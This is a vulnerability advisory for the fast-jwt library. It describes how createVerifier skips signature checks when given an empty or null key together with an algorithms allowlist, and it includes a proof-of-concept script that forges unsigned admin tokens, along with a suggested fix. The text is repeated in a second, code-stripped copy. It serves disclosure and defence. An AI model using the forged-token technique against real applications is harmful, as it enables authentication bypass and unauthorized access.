Summary
createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.
Details
Root cause — four cooperating code paths:
A. Falsy sync keys bypass prepareKeyOrSecret
createVerifier branches on typeof key:
const keyType = typeof key
if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {
throw new TokenError(/* ... */)
}
if (key && keyType !== 'function') {
key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))
}
When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:
function prepareKeyOrSecret(key, isSecret) {
if (isSecret && key.length === 0) {
throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')
}
return isSecret ? createSecretKey(key) : createPublicKey(key)
}
B. Explicit algorithms keeps an allowlist active with no key
When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.
C. hasKey is false → missing signature is permitted
const hasKey = key instanceof Buffer ? key.length : !!key
if (hasKey && !signature) {
throw new TokenError(/* missingSignature */)
} else if (!hasKey && signature) {
throw new TokenError(/* missingKey */)
}
// !hasKey && !signature → fall through with NO crypto
An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.
D. Signature check is gated on signature being truthy
if (signature && !verifySignature(header.alg, key, input, signature)) {
throw new TokenError(/* invalidSignature */)
}
Empty signature → condition is false → verifySignature is never called.
E. Signer / verifier asymmetry
createSigner({ key: '' }) / key: null → rejected
createVerifier({ key: async () => '' }) → rejected (GHSA empty-secret tests)
createVerifier({ key: '' | null, algorithms: [...] }) → accepted, then verifies unsigned tokens
Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.
Affected versions: confirmed on 6.3.0 (current main @ 378422c).
This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).
PoC
cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install
// poc-empty-key-bypass.js
const { createVerifier } = require('.')
function unsigned(alg, claims) {
const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')
const p = Buffer.from(JSON.stringify(claims)).toString('base64url')
return `${h}.${p}.` // trailing dot = empty signature
}
const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })
// Vulnerable: key '' + explicit algorithms allowlist
const verify = createVerifier({ key: '', algorithms: ['HS256'] })
console.log(verify(token))
// → { sub: 'attacker', admin: true, role: 'root' }
// Also works for RS256 / ES256 / EdDSA allowlists and key: null
console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))
// → { admin: true }
// Negative controls (correctly rejected):
try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }
catch (e) { console.log('non-empty key:', e.code) } // FAST_JWT_MISSING_SIGNATURE
try { createVerifier({ key: '' })(token) }
catch (e) { console.log('empty key, no algorithms:', e.code) } // FAST_JWT_INVALID_ALGORITHM
try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }
catch (e) { console.log('empty Buffer:', e.code) } // FAST_JWT_INVALID_KEY
Expected: TokenError with code FAST_JWT_INVALID_KEY
Actual: payload returned with no signature check
Impact
Full authentication / authorization bypass. Any application that:
- Uses
createVerifier with key: '' or key: null (common when a secret is read from an unset environment variable, e.g. process.env.JWT_SECRET || ''), and
- Sets
algorithms to a non-empty allowlist (a recommended security practice),
will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.
Suggested fix
In createVerifier, fail closed before binding the verifier:
if (keyType !== 'function') {
if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) {
throw new TokenError(TokenError.codes.invalidKey,
'The key cannot be null, empty, or a zero-length buffer.')
}
}
Also guard the combination explicitly:
if (!key && allowedAlgorithms.length > 0) {
throw new TokenError(TokenError.codes.invalidKey,
'The key cannot be falsy when algorithms is set.')
}
The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.
Summary
createVerifierin fast-jwt ≤ 6.3.0 skips signature verification entirely when thekeyoption is a falsy synchronous value (''ornull) and thealgorithmsoption is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.Details
Root cause — four cooperating code paths:
A. Falsy sync keys bypass
prepareKeyOrSecretcreateVerifierbranches ontypeof key:When
keyis''(string, falsy) ornull(object, falsy) the outer type check passes but theif (key && ...)guard never callsprepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:B. Explicit
algorithmskeeps an allowlist active with no keyWhen
keyis falsy, autodetection is skipped and the caller-suppliedalgorithms(e.g.['HS256']) is retained inallowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.C.
hasKeyis false → missing signature is permittedAn unsigned token (
header.payload.) producessignature === '', which is falsy, so both branches are skipped.D. Signature check is gated on
signaturebeing truthyEmpty signature → condition is
false→verifySignatureis never called.E. Signer / verifier asymmetry
createSigner({ key: '' })/key: null→ rejectedcreateVerifier({ key: async () => '' })→ rejected (GHSA empty-secret tests)createVerifier({ key: '' | null, algorithms: [...] })→ accepted, then verifies unsigned tokensIronically, the security best practice of setting
algorithmsenables the bypass. Withalgorithmsomitted,allowedAlgorithmsstays[]and every token fails closed.Affected versions: confirmed on 6.3.0 (current
main@ 378422c).This is an incomplete fix relative to the empty-secret hardening already applied for
Bufferkeys andasynckey functions (GHSA-gmvf lineage, PR #609).PoC
Expected:
TokenErrorwith codeFAST_JWT_INVALID_KEYActual: payload returned with no signature check
Impact
Full authentication / authorization bypass. Any application that:
createVerifierwithkey: ''orkey: null(common when a secret is read from an unset environment variable, e.g.process.env.JWT_SECRET || ''), andalgorithmsto a non-empty allowlist (a recommended security practice),will accept attacker-crafted JWTs with arbitrary claims. Claim checks (
exp,allowedSub, etc.) still run; only signature verification is skipped.Suggested fix
In
createVerifier, fail closed before binding the verifier:Also guard the combination explicitly:
The async path (key function resolving to
'') is already hardened viaprepareKeyOrSecretand does not need to change.